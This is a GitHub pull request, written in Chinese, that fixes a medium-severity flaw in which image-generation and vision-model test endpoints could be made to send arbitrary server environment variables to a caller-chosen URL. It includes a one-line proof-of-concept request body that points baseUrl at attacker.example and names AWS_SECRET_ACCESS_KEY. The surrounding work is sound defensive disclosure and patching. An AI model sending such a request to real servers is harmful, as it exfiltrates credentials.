Skip to content

fix(server): 试画/探测端点不再从请求体解析任意 apiKeyEnv(机密外泄) - #455

Closed
Ver-zhzh wants to merge 1 commit into
huiliyi37:mainfrom
Ver-zhzh:fix/imggen-env-exfil
Closed

Ver-zhzh wants to merge 1 commit into
huiliyi37:mainfrom
Ver-zhzh:fix/imggen-env-exfil

Conversation

@Ver-zhzh

Copy link
Copy Markdown
Collaborator

修复:试画/探测端点请求体 apiKeyEnv 任意环境变量读取 → 机密外泄原语

来源:本轮 issue-loop §6 安全审计(event-triggers / image-generation-routes / mission-routes 三面,报告见仓库外 ~/workspace/tianshu-dev/secaudit-20261012-eventtriggers.md)。event-triggers、mission-routes 无漏洞;image-generation 发现 2 条中危,本 PR 修其中第 1 条(第 2 条 baseUrl SSRF 另开 issue 讨论,见下)。

1. 现象

四个「拿用户填的 baseUrl 做一次性探测」的端点,允许请求体传任意 apiKeyEnv 变量名,服务端 process.env[apiKeyEnv] 读出值后以 Authorization: Bearer 发往调用方自选的 baseUrl:

  • POST /image-generations(origin=test 的 draft):image-generation-routes.ts:15/42-43
  • POST /config/image-gen-model/test:经 parseImageGenRequest(config-routes.ts:154)
  • POST /config/vision-model/discover、/config/vision-model/onboard(校验阶段):经 parseVisionCredentials(config-routes.ts:264)

PoC(构造):POST /image-generations,{origin:'test', draft:{baseUrl:'https://attacker.example/v1', modelId:'m', apiKeyEnv:'AWS_SECRET_ACCESS_KEY'}} → 攻击者服务器在 Bearer 头里收到该环境变量明文。门槛:需有效 Bearer apiToken(sidecar 默认绑 127.0.0.1),定级中危。

2. 修复

  • draft 端点:draftSchema 删除 apiKeyEnv 字段;请求体带该字段直接 400(apiKeyEnv is not supported in test drafts; paste the key into apiKey instead)。draft 本就是一次性试画,没有配置关系,粘贴明文 key 即可;环境变量密钥继续走服务端配置文件的 provider.apiKeyEnv。
  • /config/image-gen-model/test、/config/vision-model/discover:新增 declaredKeyEnvs()(服务端配置文件中已声明的变量名集合:provider.apiKeyEnv / provider.keys[].apiKeyEnv),envPolicy: 'reject-undeclared'——未声明的名字直接 400,已声明的照常解析(合法 UX「试我配好的 env 密钥」保留)。
  • /config/vision-model/onboard:envPolicy: 'no-resolve-undeclared'——声明新变量名时本次校验不解析不发送(只做连通性校验),落盘时持久化变量名;已声明的名字保持原有带密钥校验行为。

3. 未修(另开 issue)

审计第 2 条:test-draft 的 baseUrl 主请求未走 httpFetchGuarded 的 SSRF 判据(image-gen-client.ts:252,仅下载跳有守卫)。直接收敛会误伤合法本地端点试画(既有测试即用 http://127.0.0.1 做 draft),属产品决策,另开 issue 与维护者定口径(拟议 allowPrivateNetwork 显式开关),不在本 PR 范围。

验证

项 结果
npx tsc --noEmit 0 报错
新增回归测试(draft 拒 apiKeyEnv 且上游零请求;/test 未声明 400 零请求 / 已声明解析发送) 2/2 通过
更新 vision-model-onboarding-routes.test.ts(旧断言即被修复行为)为新预期 6/6 通过
image-generation-routes.test.ts / image-gen-model-routes.test.ts / config-routes.test.ts 全部通过(108+5+6),无回归

CI 说明

已知上游基线红(ci(24) / windows-smoke,与 #447/#449 同一批基线问题),本地 tsc + 相关单测全绿;若本 PR 的 CI 出现与基线不同的新失败会跟进修复。

@Ver-zhzh

Copy link
Copy Markdown
Collaborator Author

CI 说明(奶娃核验):本 PR 的红(ci (24) + windows-smoke)为上游基线红,非本改动引入。ci (24) 失败用例集合(capsule-router 系列断言 / RSS 与 startup memory 基线 / architecture guards / max-lines ratchet / old publishers / DRY RUN 与 --with-atomgit 告警)与上游 main 纯基线跑(run 38137254300,abb76289)逐项一致;windows-smoke 挂在 Windows watchdog rescue and Git probe teardown 的 runner 临时目录 EPERM,与 #447/#449/#451/#453 同一基线问题。改动文件(image-generation-routes / config-routes 及对应测试)与失败区域无任何关联,本地 tsc + 相关单测全绿(见正文验证表)。无需返工,等维护者处理。

@huiliyi37

Copy link
Copy Markdown
Owner

已通过 sync 流程合入 dev,感谢 @Ver-zhzh 的贡献 🎉

本 PR 的改动(fix(server): 试画/探测端点不再从请求体解析任意 apiKeyEnv(机密外泄))已经 sync 流程合入主仓(本次 sync),并已收录进 CONTRIBUTORS.md。

按仓库的双仓流程,公开仓 PR 不经 merge 按钮合入(保持 dev 主仓唯一事实源),现以 sync-merged 标记关闭。欢迎继续贡献!

@huiliyi37 huiliyi37 added the sync-merged 内容已通过 sync 流程合入 dev 主仓(PR 形态留痕,作者计入 CONTRIBUTORS) label Oct 12, 2026
@huiliyi37 huiliyi37 closed this Oct 12, 2026
huiliyi37 added a commit that referenced this pull request Oct 12, 2026
内容已经 sync 流程合入(本次 sync),本提交为作者署名落账:
GitHub 贡献者图谱按 Co-authored-by trailer 计入。

Co-authored-by: Ver-zhzh <ver-zhzh@users.noreply.github.com>
huiliyi37 added a commit that referenced this pull request Oct 23, 2026
内容已经 sync 流程合入(本次 sync),本提交为作者署名落账:
GitHub 贡献者图谱按 Co-authored-by trailer 计入。

Co-authored-by: Ver-zhzh <ver-zhzh@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

sync-merged 内容已通过 sync 流程合入 dev 主仓(PR 形态留痕,作者计入 CONTRIBUTORS)

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants